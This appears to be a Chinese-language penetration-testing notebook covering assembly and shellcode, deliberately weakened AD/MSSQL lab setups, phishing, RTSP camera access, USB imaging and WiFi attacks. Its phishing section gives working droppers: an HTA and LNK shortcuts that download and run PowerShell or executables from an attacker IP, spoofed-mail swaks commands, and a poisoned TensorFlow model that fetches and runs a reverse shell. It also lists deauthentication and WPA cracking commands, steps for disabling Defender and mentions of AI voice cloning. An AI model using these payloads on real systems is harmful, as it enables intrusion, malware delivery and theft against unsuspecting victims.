[*] Termination of Procmon commencing... please wait
[*] Procmon terminated
[*] Saving report to: Noriben_27_Oct_25__03_28_473199.txt
[*] Saving timeline to: Noriben_27_Oct_25__03_28_473199_timeline.csv
[*] Exiting with error code: 0: Normal exit

逆向工程及调试

二进制内容已经转移，请移步至深渊之书

深渊之书

Sat, 25 Oct 2025 22:39:28 +0800

notes

本笔记记录二进制相关内容，不限于pwn与逆向，会随着我的学习逐渐添加内容

linxu相关

elf64_asm汇编

生成逻辑与脚本

┌──(wackymaker㉿kali)-[~/tools/code/asm]
└─$ ./asmmake.sh helloword.s
Hello word!
┌──(wackymaker㉿kali)-[~/tools/code/asm]
└─$ cat helloword.s 
global _start

section .data
    message db "Hello word"
    length equ $-message

section .text
_start:
    mov rax, 1
    mov rdi, 1
    mov rsi, message
    mov rdx, length
    syscall

    mov rax, 60
    mov rdi, 0
    syscall

┌──(wackymaker㉿kali)-[~/tools/code/asm]
└─$ cat asmmake.sh 
#!/bin/bash

fileName="${1%%.*}" # remove .s extension

nasm -f elf64 ${fileName}".s"
ld ${fileName}".o" -o ${fileName}
[ "$2" == "-g" ] && gdb -q ${fileName} || ./${fileName}

查找64_linux_syscall

wackymaker@htb[/htb]$ grep exit /usr/include/x86_64-linux-gnu/asm/unistd_64.h

#define __NR_exit 60
#define __NR_exit_group 231

查找其使用参数

wackymaker@htb[/htb]$ man -s 2 exit

...SNIP...
void _exit(int status);

gdb使用

安装gef插件

wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
echo source ~/.gdbinit-gef.py >> ~/.gdbinit

开始反编译

gdb -q ./helloWorld

查找命令相关简要记录(查找)

运行前或运行中

info functions #查找所有函数函数
info variables #查找所有可用变量
info breakpoints #查找所有已经设置的断点
x/s 0x402000 #查找0x402000地址中的值并字符串输出
x/wx 0x401000 #查找0x401000地址中的值并十六进制输出

运行中

registers #查看所有寄存器

disas命令相关简要记录(查函数)

disas $函数名 # 查看函数具体汇编

break命令相关记录(下断点)

b [目标] #在目标地址下断点 比如
b _start #在_start函数起始下断点
b *_start+10 #在_start+10的位置下断点
b *0x401015 #在0x401015处下断点

启动与运行相关指令

启动程序

run

步进

si

步过

step

持续运行至断点或结束

pwntools使用

安装

sudo pip3 install pwntools

详细使用文档

https://docs.pwntools.com/en/stable/asm.html

汇编与shellcode转换

汇编转shellcode

pwn asm '$指令'  -c '$架构'
# 例:pwn asm 'push rax'  -c 'amd64'
#  0:    50                       push   eax

shellcode转换汇编

pwn disasm '$shellcode' -c '$架构'
# 例:pwn disasm '50' -c 'amd64'
#  0:    50                       push   eax

应用程序转换shellcode

脚本如下，适应不同架构需要改动

#!/usr/bin/python3

import sys
from pwn import *

context(os="linux", arch="amd64", log_level="error")

file = ELF(sys.argv[1])
shellcode = file.section(".text")
print(shellcode.hex())

使用例如下

python3 shellcoder.py helloworld

48be0020400000000000bf01000000ba12000000b8010000000f05b83c000000bf000000000f05

shellcode_loader

脚本如下，适应不同架构需要改动

#!/usr/bin/python3

import sys
from pwn import *

context(os="linux", arch="amd64", log_level="error")

run_shellcode(unhex(sys.argv[1])).interactive()

使用例如下

python3 loader.py '4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05'

Hello word!

shellcraft库使用(常用shell载荷)

查找某架构可用载荷

pwn shellcraft -l '$架构.$系统'
# 采取通配使用，所以很好查找，比如查找amd64的linux的sh运行
# pwn shellcraft -l 'amd64.linux.sh'

当查找到后可以显示shellcode

pwn shellcraft amd64.linux.sh

6a6848b82f62696e2f2f2f.......34240101010131f6566a085e4801e6564889e631d26a3b580f05

也可以直接-r运行

pwn shellcraft amd64.linux.sh -r

$ whoami

root

也可以使用python3解释器完全解锁 shellcraft ，并使用带参数的高级系统调用

可以使用dir(shellcraft)列出所有可用系统调用

python3

>>> from pwn import *
>>> context(os="linux", arch="amd64", log_level="error")
>>> dir(shellcraft)

[...SNIP... 'execve', 'exit', 'exit_group', ... SNIP...]

使用系统调用（举例execve）

>>> syscall = shellcraft.execve(path='/bin/sh',argv=['/bin/sh']) # syscall and args
>>> asm(syscall).hex() # print shellcode

'48b801010101010101015048b82e63686f2e726901483104244889e748b801010101010101015048b82e63686f2e7269014831042431f6566a085e4801e6564889e631d26a3b580f05'

筑巢之书

Sat, 25 Oct 2025 22:39:21 +0800

notes

本笔记记录windows（ad）相关靶机构筑与安全防护部署等内容，会随我学习逐渐添加

域控基础指令

域用户创建

$Password = "$pass"

New-ADUser -Name "$username" `
           -SamAccountName "$username" `
           -AccountPassword (ConvertTo-SecureString $Password -AsPlainText -Force) `
           -Enabled $true `
           -Path "CN=Users,DC=域名,DC=com" `
           -PasswordNeverExpires $false `
           -ChangePasswordAtLogon $false

# 让用户加入远程管理组
Add-ADGroupMember -Identity "Remote Management Users" -Members "$username"

创建域组并让域用户加入

# 创建域组
New-ADGroup -Name "$group_name" -SamAccountName "$group_name" -GroupScope Global -GroupCategory Security -Path "CN=Users,DC=$domain,DC=com"
# 添加域用户
Add-ADGroupMember -Identity "$group_name" -Members "$username"

密码复杂度调整

# 获取当前域密码策略
Import-Module ActiveDirectory
Get-ADDefaultDomainPasswordPolicy

# 禁用复杂性要求
Set-ADDefaultDomainPasswordPolicy -Identity "$domain" -ComplexityEnabled $false

# 可选：设置最小密码长度为0
Set-ADDefaultDomainPasswordPolicy -Identity "$domain" -MinPasswordLength 0

特殊配置

配置无预认证,需先创建用户

# 获取用户对象
$user = [ADSI]"LDAP://CN=$username,CN=Users,DC=$domain,DC=com"

# 获取当前 userAccountControl 数值
$uac = $user.userAccountControl.Value

# 添加免预认证标志（DONT_REQUIRE_PREAUTH = 4194304）
$user.userAccountControl = $uac -bor 4194304

# 保存修改
$user.SetInfo()

整体环境修改

启用匿名smb

1.开始 → 运行 → gpedit.msc，打开组策略编辑器；
2.依次展开"计算机配置" → "windows设置" → "安全设置" → "本地策略" → "安全选项"，将"网络访问:本地帐户的共享和安全模式"修改为"仅来宾-本地帐户以来宾身份验证"；
3.将"帐户:来宾状态账户"设置为"已启用"；
4.设置文件夹"属性" → "共享" → "权限"中 添加"Everyone"用户；
5.设置文件夹"属性" → "安全"中 添加"Everyone"用户。

彻底关闭defender

首先按下win+R组合键打开运行窗口, 输入gpedit.msc，然后点击“确定”即可打开组策略。

打开本地组策略编辑器后如下图所示，依次展开并定位至“计算机配置”→“管理模板”→“Windows组件”→“Windows Defender”→“关闭Windows Defender”，双击打开；

打开设置页面，勾选“已启用”后，点击确定；

在相同路径下，双击“实时保护”；

我们点击选中“实时保护”，然后在窗口右侧找到“关闭实时保护”、“打开行为监视”、“扫描所有下载文件和附件”、“监视计算机上的文件和程序活动”，依次将它们双击打开，按以下进行设置：

“关闭实时保护”设置为“已启用”，点击“确定”，
“打开行为监视”设置“已禁用”，点击“确定”，
“扫描所有下载文件和附件”设置为“已禁用”，点击“确定”，
“监视计算机上的文件和程序活动”设置为“已禁用”，点击“确定”，

防火墙相关

防火墙放行

管理员powershell运行

New-NetFirewallRule -DisplayName "1433" -Direction Inbound -LocalPort 1433 -Protocol TCP -Action Allow

关闭外部端口（允许回环访问）同时放行特殊端口

设防火墙默认行为为阻止

Set-NetFirewallProfile -All -DefaultInboundAction Block

设特殊端口允许放行

New-NetFirewallRule -DisplayName "Allow External TCP 445 for SMB" `
    -Direction Inbound `
    -Protocol TCP `
    -LocalPort 445 `
    -Action Allow `
    -Profile Any `
    -Enabled True -Force

列出所有防火墙放行规则

Get-NetFirewallRule -Direction Inbound -Enabled True | 
    Where-Object { $_.Action -eq "Allow" -or $_.Action -eq "Block" } | 
    Format-Table -Property Name, DisplayName, Action, Enabled, Profile, 
    @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}}, 
    @{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, 
    @{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}}

删除所有规则

# 1. 筛选出所有启用的入站 ALLOW 规则
Get-NetFirewallRule -Direction Inbound -Enabled True | Where-Object { $_.Action -eq "Allow" } | 
    # 2. 将它们全部删除
    Remove-NetFirewallRule -Confirm:$false

开启嵌套虚拟机

1,vm中将需要的虚拟机cpu设置中勾选虚拟化嵌套 2，禁用hyper-v,powershell管理员运行

Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V-Hypervisor

3.在blos中启用CPU的虚拟化技术 4，关闭基于虚拟化的安全性，管理员cmd运行

bcdedit /set hypervisorlaunchtype off

重启你的电脑，win+r输入msinfo32.exe回车可以查看设置，之后vm就能正常使用嵌套虚拟化

创建自动重复执行任务

schtasks /Create /TN "Check3AutoRun" /TR "C:\Users\Administrator\Desktop\check.exe" /SC MINUTE /MO 5 /RL HIGHEST /F /RU SYSTEM

schtasks /Query /TN "Check3AutoRun" /V /FO LIST

windows服务强化相关（Windows Service Hardening）

禁用某服务的模拟权限

先查找服务名称，这里拿sqlserver举例

Get-Service | Where-Object {$_.DisplayName -like '*SQL*'} | Select-Object Name, DisplayName

Name               DisplayName
----               -----------
MSSQL$MSSQL        SQL Server (MSSQL)
SQLAgent$MSSQL     SQL Server 代理 (MSSQL)
SQLBrowser         SQL Server Browser
SQLTELEMETRY$MSSQL SQL Server CEIP service (MSSQL)
SQLWriter          SQL Server VSS Writer

没修改前权限

特权名                        描述                 状态                                   
============================= ==================== ======                          
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌   已禁用                                      
SeIncreaseQuotaPrivilege      为进程调整内存配额   已禁用                                     
SeMachineAccountPrivilege     将工作站添加到域     已禁用                                     
SeChangeNotifyPrivilege       绕过遍历检查         已启用                                   
SeImpersonatePrivilege        身份验证后模拟客户端 已启用                                       
SeCreateGlobalPrivilege       创建全局对象         已启用                                   
SeIncreaseWorkingSetPrivilege 增加进程工作集       已禁用

给MSSQL$MSSQL划分最小权限

sc privs MSSQL$MSSQL SeChangeNotifyPrivilege

修改后权限

特权名                  描述         状态                                                 
======================= ============ ======                                        
SeChangeNotifyPrivilege 绕过遍历检查 已启用                                                 
NULL                                                                               
NULL

adcs相关

启用域控证书信任（配置证书服务后需要设置，证书服务才能正常工作）

1,打开 MMC → 添加证书 snap-in → 本地计算机 → 个人 → 证书
MMC：Windows 的管理控制台（Microsoft Management Console），可以加载各种管理插件（snap-in）。

1在 MMC 窗口中，点击菜单栏的：文件(File) → 添加/删除管理单元(Add/Remove Snap-in)
在左侧列表中找到并选中：Certificates（证书）
点击右侧的 “添加(Add)”
系统会弹出一个选择框：
- 我的用户账户 (My user account)
- 服务账户 (Service account)
- 计算机账户 (Computer account)
下一步 → 选择 “本地计算机 (Local computer)” → 完成 (Finish)
2,右键 个人 → 所有任务 → 请求新证书 (Enroll)
请求新证书 (Enroll) 是客户端向 CA 提交证书申请的操作
当你选择“请求新证书”时，本机会生成一个证书请求（CSR，Certificate Signing Request）
CSR 会发送给企业 CA，请求 CA 给这个域控签发一张 Domain Controller 证书
简单理解：你在 MMC 上点这个按钮，就是告诉 CA “请给我签发一张域控证书，我要用在 LDAPS 上”

esc14部署

首先证书创建部分

拓展：需要包含至少智能卡登陆及客户端验证
安全：允许请求组注册及读取
使用者名称：使用ad信息生成，将使用者名称格式改为公用名，勾选电子邮件名，不要勾选在使用者名称中包括电子邮件名以及用户主体名称

为目标用户写入关于邮件的显示证书映射，邮件名称随便

Set-ADUser -Identity "test" -Add @{altSecurityIdentities="X509:<RFC822>test@mssql.com"}

之后就是血缇之书中的利用了，任何允许请求这个证书的用户，都可以将自己的邮件写为test@mssql.com，之后请求完证书去以目标用户认证

mssql相关

部署数据库

首先在微软下载数据库安装包

https://info.microsoft.com/ww-landing-sql-server-2022.html?culture=en-us&country=US

当安装开始后按照下面的步骤部署

Log into your server with an administrator account.
使用管理员帐户登录您的服务器。
Download the SQL 2022 Installation Media or insert a media disk.
下载 SQL 2022 安装媒体或插入媒体磁盘。
Browse to the download location and double-click Setup.exe to begin the installation.
浏览到下载位置并双击 Setup.exe 开始安装。
Select Custom for Installation Type.
安装类型选择自定义 。
Choose a Media Location and click Install to begin downloading the installation files..
选择媒体位置并单击“安装”开始下载安装文件。
Click Installation located on the left side.
单击左侧的 “安装” 。
Click New SQL Server stand-alone installation or add features to an existing installation to open the SQL Server 2022 window.
单击“新的 SQL Server 独立安装”或“向现有安装添加功能”以打开 SQL Server 2022 窗口。
Click Next if prompted to download Product Updates.
如果提示下载产品更新， 请单击 “下一步” 。
Enter a Product Key or select a free edition, then click Next.  
输入产品密钥或选择免费版本，然后单击 “下一步” 。
Click I accept the license terms, then Next.
单击 “我接受许可条款” ，然后单击“下一步” 。
Click Next on the Install Rules window.
在“安装规则”窗口中单击“下一步”。
Note: It's normal to see a warning for Windows Firewall. Adding Firewall Exceptions is recommended after setting up SQL.
注意： Windows 防火墙出现警告是正常现象。建议在设置 SQL 后添加防火墙例外 。
If you purchased Azure Extension for SQL, enter your account details, otherwise uncheck the box and click Next.
如果您购买了 Azure Extension for SQL ，请输入您的帐户详细信息，否则取消选中该框并单击 “下一步” 。
Check the Database Engine Services box on the Feature Selection window, then click Next.
选中数据库引擎服务框   在功能选择窗口中，然后单击下一步 。
Juris only requires installing Database Engine Services. Client Connectivity is automatically installed on SQL 2022. 
Juris 仅需要安装数据库引擎服务 。 客户端连接已在 SQL 2022 上自动安装。  
SQL Server Replication is not compatible with Juris. All other SQL features are optional based on firm needs.
SQL Server Replication 与 Juris 不兼容。所有其他 SQL 功能均可根据公司需求选择。
Specify Instance Root and Shared Feature directories, or accept the default locations.
指定实例根目录和共享功能目录，或接受默认位置。
Enter a desired name (such as Juris) for the Named Instance and Instance ID then click Next to open Server Configuration.
为命名实例和实例 ID 输入所需的名称（例如 Juris），然后单击下一步打开服务器配置。
Ensure Startup Types for SQL Server Database Engine and SQL Server Browser are set to Automatic, then click Next to open Database Engine Configuration.
确保 SQL Server 数据库引擎和 SQL Server 浏览器的启动类型设置为自动，然后单击下一步打开数据库引擎配置 。
On the Server Configuration tab:
在服务器配置选项卡上：
Select Mixed Mode (SQL Server authentication and Windows Authentication) for Authentication Type.
对于身份验证类型， 选择混合模式 （ SQL Server 身份验证和 Windows 身份验证） 。
Enter and confirm the desired password for the built-in (sa) administrator account.
输入并确认内置（sa）管理员帐户所需的密码。
Click Add Current User under Specify SQL Server Administrators. Click Add if you want to add additional users.
单击 “指定 SQL Server 管理员” 下的 “添加当前用户” 。如果要添加其他用户，请单击 “添加” 。
Click Next when you a finished making Database Engine Configuration choices.
完成数据库引擎配置选择后，单击 “下一步” 。
Click Next on the Ready to Install window.
在 “准备安装 ”窗口中单击 “下一步” 。
Click Close on the Complete window.
单击 “完成” 窗口中的 “关闭” 。

部署完毕后放行1433端口

netsh advfirewall firewall add rule name="SQLServerTCP1433" dir=in action=allow protocol=TCP localport=1433

最后将mssql默认的动态端口修改为固定端口

打开 “SQL Server 配置管理器”
进入 SQL Server 网络配置 → 协议 for [实例名]
选择tcp并双击进入设置
选择ip地址将需要的活动ip的活动都改为是，已启用改为是，tcp端口改为1433，tcp动态端口全部改为空，注意是空不是零，包括最下面的ipall
修改完毕后选择左侧的sql server服务并重启实例

数据库权限分配(需sa连接数据库)

将某个域组或者域用户创建登陆权限，并分配连接权限以及查看数据库的权限（服务器级权限）,注意这里使用NetBIOS格式名称

IF NOT EXISTS (SELECT 1 FROM sys.server_principals WHERE name=N'$domaim\$user_or_group') BEGIN CREATE LOGIN [$domain\$user_or_group] FROM WINDOWS; END; GRANT CONNECT SQL TO [$domain\$user_or_group]; GRANT VIEW ANY DATABASE TO [$domain\$user_or_group];

创建数据库并指定所有者为sa

CREATE DATABASE [$db_name]; ALTER AUTHORIZATION ON DATABASE::[test] TO sa;

创建db_oner提权路径

首先我们需要一个数据库，并且赋予一个普通用户此库的db_oner权限，注意使用NetBIOS格式名称

use $db
EXEC sp_addrolemember N'db_owner', N'$domain\$user_or_group';
## 之后确认数据库确实oner为sa
ALTER AUTHORIZATION ON DATABASE::[$db] TO [$odmain\Administrator];
## 开启这个数据库的TRUSTWORTHY on属性
ALTER DATABASE [$db] SET TRUSTWORTHY ON;

渊蜂之书

Sat, 23 Aug 2025 21:25:37 +0800

钓鱼相关

.hta加载js源码

（逐渐抛弃，特定情况再使用，容易被浏览器沙箱gank）

<html>
<head>
<script language="JScript">
  var shell = new ActiveXObject("WScript.Shell");
  shell.Run("powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://攻击机IP/shell.ps1')");
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

lnk投放（快捷方式-命令执行）

首先需要在测试环境生成

加载反射源码

$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\update.lnk")
$Shortcut.TargetPath = "cmd.exe"
$Shortcut.Arguments = "/c powershell -ExecutionPolicy Bypass -WindowStyle Hidden -c `"IEX(New-Object Net.WebClient).DownloadString('http://192.168.174.129:88/shell.ps1')`""
$Shortcut.WindowStyle = 7
$Shortcut.IconLocation = "C:\Windows\System32\shell32.dll,3"
$Shortcut.Save()

远程下载木马执行（无powershell）

$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\update.lnk")
$Shortcut.TargetPath = "cmd.exe"
$Shortcut.Arguments = "/c certutil -urlcache -split -f http://192.168.174.129:88/fuck.exe C:\Windows\Tasks\fuck.exe && C:\Windows\Tasks\fuck.exe"
$Shortcut.WindowStyle = 7  # 最小化窗口
$Shortcut.IconLocation = "C:\Windows\System32\shell32.dll,23"  # 文档图标
$Shortcut.Save()

也可以利用下面的命令反向查找lnk文件指向

powershell -c "$sh = New-Object -ComObject WScript.Shell; $sh.CreateShortcut('.\target.lnk').TargetPath"

wsh载荷构筑（js载荷构筑，csharp载荷转换js）

dontnettojscript 转换命令

DotNetToJScript.exe ExampleAssembly.dll --lang=jscript --var=v4 -o shell.js

邮件方向利用

smtp枚举用户名

使用工具

github.com/cytopia/smtp-user-enum?tab=readme-ov-file#smiling_imp-vrfy-mode-default

RCPT TO模式（指点收件人发送，模拟正常邮件）

smtp-user-enum -U /home/wackymaker/tools/dic/userNameDict/multiplesources-users-fabian-fingerle.de.txt -D $domain -t $ip -m $线程数 -p $port -M RCPT

VRFY模式(默认的直接测试模式)

smtp-user-enum -U /home/wackymaker/tools/dic/userNameDict/multiplesources-users-fabian-fingerle.de.txt -D $domain -t $ip -m $线程数 -p $port

邮件钓鱼-投放载荷or恶意链接

一般需要将各种模式都测试一下

swaks-邮件伪造

附带文件

swaks --to jobs@cowmotors-int.com --from amit@rocks.com --header "Subject: My CV" --body "Attached my CV to this mail, thank you!" --attach @rev.doc --server 192.168.209.201

钓鱼链接

swaks --body 'Please click here http://192.168.45.164/payload.hta' --add-header "MIME-Version: 1.0" --add-header "Content-Type:text/html" --header "Subject: Issues with mail" --to Will@tricky.com --from will01@tricky.com --server 192.168.105.159

摄像头方向利用

rstp服务利用

如果侦测到存在rstp服务，也就是实时视频流服务，例如

┌──(wackymaker㉿kali)-[~/tmp/prolab/fullhouse/10.0.52.5]
└─$ nmap -p 22,554 -sC -sV $ip
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 10:33 EDT
Nmap scan report for 10.0.52.5
Host is up (0.063s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.3 (FreeBSD 20230316; protocol 2.0)
| ssh-hostkey: 
|   3072 da:27:2d:b4:15:43:bf:71:21:50:a8:b5:e7:3f:fa:10 (RSA)
|   256 fb:cf:94:03:5b:a4:1c:85:b4:51:94:26:7c:cf:6e:0f (ECDSA)
|_  256 f6:0d:01:16:88:0f:c5:45:8d:67:6d:f3:63:11:8f:7c (ED25519)
554/tcp open  rtsp    GStreamer rtspd
|_rtsp-methods: OPTIONS, DESCRIBE, ANNOUNCE, GET_PARAMETER, PAUSE, PLAY, RECORD, SETUP, SET_PARAMETER, TEARDOWN
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.96 seconds

利用nmap脚本爆破无认证路径

脚本获取
https://blog.victormendonca.com/2018/02/09/how-to-scan-for-rtsp-urls/

nmap --script rtsp-url-brute.nse -p 554 $ip -T2

如果爆破出路径例下

└─$ nmap --script rtsp-url-brute.nse -p 554 10.0.52.5 -T2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 11:05 EDT
Nmap scan report for 10.0.52.5
Host is up (0.27s latency).

PORT    STATE SERVICE
554/tcp open  rtsp
| rtsp-url-brute: 
|   discovered: 
|_    rtsp://10.0.52.5/mpeg4

Nmap done: 1 IP address (1 host up) scanned in 59.19 seconds

就可以利用ffmpeg截取视频流

ffmpeg -rtsp_transport tcp -i rtsp://1$ip/mpeg4 -c copy out.mp4

ai方向利用

ai语音克隆

好用的网站
https://app.play.ht/home（付费下载）
https://fish.audio（免费）

tensorflow投毒

文章如下

https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model

示例生成模型代码

import tensorflow as tf

def exploit(x):
    import os
    command = '''powershell -nop -c "Invoke-WebRequest http://10.0.52.31:8000/rev.ps1 -OutFile C:\\Users\\Public\\rev.ps1";powershell -ExecutionPolicy Bypass -File "C:\\Users\\Public\\rev.ps1"'''
    os.system(command)
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("wacky.h5")

usb方向利用

linux抓取挂载usb所有信息

进入系统利用mount查看挂载设备

mount
检查这个分区/dev/sdb
#举例如下
/dev/sdb on /media/usbstick type ext4 (ro,nosuid,nodev,noexec,relatime,data=ordered)

分区简介

/dev/sda	第一块硬盘（整块）	比如内置系统盘
/dev/sda1	sda 的第一个分区	/ 可能就在这个分区
/dev/sdb	第二块硬盘（整块）	比如插入的 U 盘
/dev/sdb1	sdb 的第一个分区	通常是 U 盘的可见分区
/dev/sdc2	第三块硬盘的第二个分区	例如移动硬盘

利用dd将这个分区原始数据全部抓取并生成镜像

sudo dd if=/dev/sdb of=usb.img bs=4M

#sudo	以管理员权限运行，因为访问 /dev/sdb（块设备）需要 root 权限。
#dd	名字来源是 “Data Description”（数据描述），是 Unix 系统的一个复制工具。
#if=/dev/sdb	if 是 input file 的意思，这里指从 整块磁盘 读数据（原始块级别）。
#of=usb.img	of 是 output file 的意思，表示把数据写入这个文件中。
#bs=4M	块大小（block size），每次复制 4MB，提高效率。默认是 512 字节，太慢。

将生成的usb.img抓取到本地linux并加载

sudo losetup -fP usb.img
#该命令将 usb.img 映射为一个 loop 设备（如 /dev/loop0），并自动处理其中的分区信息（如 /dev/loop0p1

之后就可以利用了，比如自动分配信息为如下

└─$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop0    7:0    0   10M  0 loop 
sda      8:0    0 80.1G  0 disk 
└─sda1   8:1    0 80.1G  0 part /

挂载并当目录利用

sudo mkdir -p /mnt/usbimg
sudo mount /dev/loop0 /mnt/usbimg

恢复此u盘所有删除信息

sudo extundelete /dev/loop0p1 --restore-all

wifi无线相关

linux连接wifi相关

查看无线网卡状态

iwconfig

激活网卡

sudo ip link set wlan0 up

查看网卡真实强度

sudo cat /sys/kernel/debug/ieee80211/phy*/mt76/txpower_sku | grep tmac

查看wifi列表

nmcli dev wifi list
or
iwlist wlan0 scan |  grep 'Cell\|Quality\|ESSID\|IEEE'

连接wifi

nmcli dev wifi connect "SSID" password "PASSWORD" ifname wlan0

查看当前连接

nmcli con show --active

断开连接并删除记录

nmcli con down id "SSID"

nmcli con delete id "SSID"

注意，如果我们不删除记录，可能在再次连接wifi的时候出现无法找到加密报错

Error: 802-11-wireless-security.key-mgmt: property is missing.

出现这种报错直接删除此wifi记录，或者手动指定加密方式(我给出的示例是wpa2)

nmcli dev wifi connect "SSID" password "PASSWORD" ifname wlan0 wifi-sec.key-mgmt wpa-psk

wireshark分析管理帧

查找来自ap的接入帧

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 8)

查找来自ap的探测请求帧

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 4)

查找来自ap的探测响应帧

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 5)

查找客户端和接入点之间的身份验证过程

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 11)

查找请求后的关联请求

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 0)

查找请求后的关联响应

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 1)

如果网络使用wpa2，可以使用EAPOL查看握手帧

eapol

查看取消关联帧或者身份验证帧

(wlan.fc.type == 0) && (wlan.fc.type_subtype == 12) or (wlan.fc.type_subtype == 10)

网卡模式切换以及选定

托管模式(Managed)

最常见的形态，允许我们连接ap点进行无线连接

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode managed
sudo ifconfig wlan0 up

临时模式（Ad-hoc）

一般用于去中心化的连接，也就是点对点的连接，用于住宅内部自设系统

大部分情况下这是两个桥接在一起的接口，所以需要指定桥接对象

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode ad-hoc
sudo iwconfig wlan0 essid wackymaker
sudo ifconfig wlan0 up

中心模式（master）

这种模式，我们会成为一个ap点，所以不能简单的利用iwconfig进行设置，需要配置所谓的管理守护模式

wackymaker@kali[/kali]$ nano open.conf

interface=wlan0
driver=nl80211
ssid=Hello-World
channel=2
hw_mode=g

这段配置的意思是用 wlan0 网卡，通过 nl80211 驱动，在 2.4GHz 第 2 信道上，开一个名为 Hello-World 的 Wi-Fi AP，工作模式是 802.11g（即 2.4G，速率可达 54Mbps）。

可以利用如下命令启动

sudo hostapd open.conf

节点模式（mesh）

节点模式是个有意思的模式，类似于临时模式是一种点对点的模式，但是不一样的是，当一个节点连入另一个节点后会自动的连接此节点连接的其他节点，如果节点 A 和节点 C 之间距离太远，但 A 和 B、B 和 C 能连上，那么数据就会 A → B → C 自动转发。这样 Mesh 网络可以覆盖非常大的区域。

设置节点模式

sudo iw dev wlan0 set type mesh

监听模式（Monitor）

我们wifi渗透测试最常用的节点，用于监听整个无线环境的连接，也能用来抓取连接包

sudo ifconfig wlan0 down
sudo iw wlan0 set monitor control
sudo ifconfig wlan0 up

或者

sudo ip link set wlan0 down #关闭网卡
sudo iw dev wlan0 set type monitor #将网卡设置为监听模式
or
sudo iw dev wlan0 set type managed #将网卡设置为普通模式
sudo ip link set wlan0 up #启动网卡
iwconfig wlan0 #查看当前网卡模式

aircrack-ng套件使用

arimon-ng(快捷监控)

开启监听或者关闭

sudo airmon-ng start $网卡
sudo airmon-ng stop $网卡0mon

检查干扰进程

sudo airmon-ng check

杀掉全部干扰进程

sudo airmon-ng check kill

注意，这会使我们的网卡回归使可能会被锁定，不得使用托管功能，使用如下命令检查

sudo rfkill list all

如果被锁定，使用如下命令解封

sudo rfkill unblock wifi

Airodump-ng(数据包捕获)

输出截获所有数据情况

sudo airodump-ng wlan0mon

可选过滤参数

--bssid 34:29:12:A6:BA:48 #由mac地址筛选ap
--channel 或者 -c $number #由信道筛选ap
--essid "wifi名称" #由wifi名称筛选ap

截获5g数据

sudo airodump-ng wlan0mon --band a

a代表5g，b代表11兆限速的2.4g，g代表54兆限速的2.4g

所以想筛选全也可以

sudo airodump-ng wlan0mon --band abg

导出

airodump-ng wlan0mon --write wackymaker

会在当前目录生成
wackymaker-01.cap  
wackymaker-01.csv
wackymaker.kismet.csv
wackymaker.kismet.netxml
wackymaker.log.csv

Airgraph-ng(无线拓扑图)

生成客户端与ap关系图CAPR,生成的图片会可视化当前的ap和客户端连接情况

sudo airgraph-ng -i wacky-01.csv -g CAPR -o CAPR.png

还可以生成通用探针图CPG生成的图片会可视化当前ap和所有客户端的联系，包括并没有接入或者准备接入网络的客户端

sudo airgraph-ng -i wacky-01.csv -g CPG -o CAPR.png

Aireplay-ng（数据包注入）

测试当前网卡是否允许注入

sudo aireplay-ng --test wlan0mon

看到回显
Injection is working!
即可

洪水攻击(取消身份验证攻击)

sudo aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon

-0 表示取消身份验证
5 是要发送的 deauth 次数;0 表示连续发送它们
-a 00：14：6C：7A：41：81 是接入点的 MAC 地址
-c 00：0F：B5：32：31：31 是要取消身份验证的客户端的 MAC 地址;如果省略，则连接的所有客户端都会被攻击

劫持四次握手爆破wpa/wpa2密码

调整到监听，开始抓包

sudo airmon-ng start
sudo airodump wlan0mon

找到存在客户端的wifi目标，利用–bssid以及-c筛选出来，启用-w保存抓包

sudo airodump wlan0mon --bssid "$目标wifi的bssid“ -c "$目标信道" -w $保存名称

抓包同时，另起窗口对此ap发动取消认证攻击

sudo aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon

-0 表示取消身份验证
5 是要发送的 deauth 次数;0 表示连续发送它们
-a 00：14：6C：7A：41：81 是接入点的 MAC 地址
-c 00：0F：B5：32：31：31 是要取消身份验证的客户端的 MAC 地址;如果省略，则连接的所有客户端都会被攻击

只要看到抓包中notes字段出现EAPOL，则证明已经捕获4次握手，等待一分钟后断开抓包

我们得到的$名称-01.cap就是有价值的流量包

aircrach-ng爆破(使用cpu)

aircrack-ng test6-01.cap -w wifi_passlist_geo.txt

hashcat爆破(gpu爆破)

先转去以下网站转换hash

https://hashcat.net/cap2hashcat/

转换完毕的文件如下爆破

hashcat -m 22000 hash.file -w dic.txt

总结，实际操作后发现现实并不好攻击，字典量所需太大，后续恶意门户会研究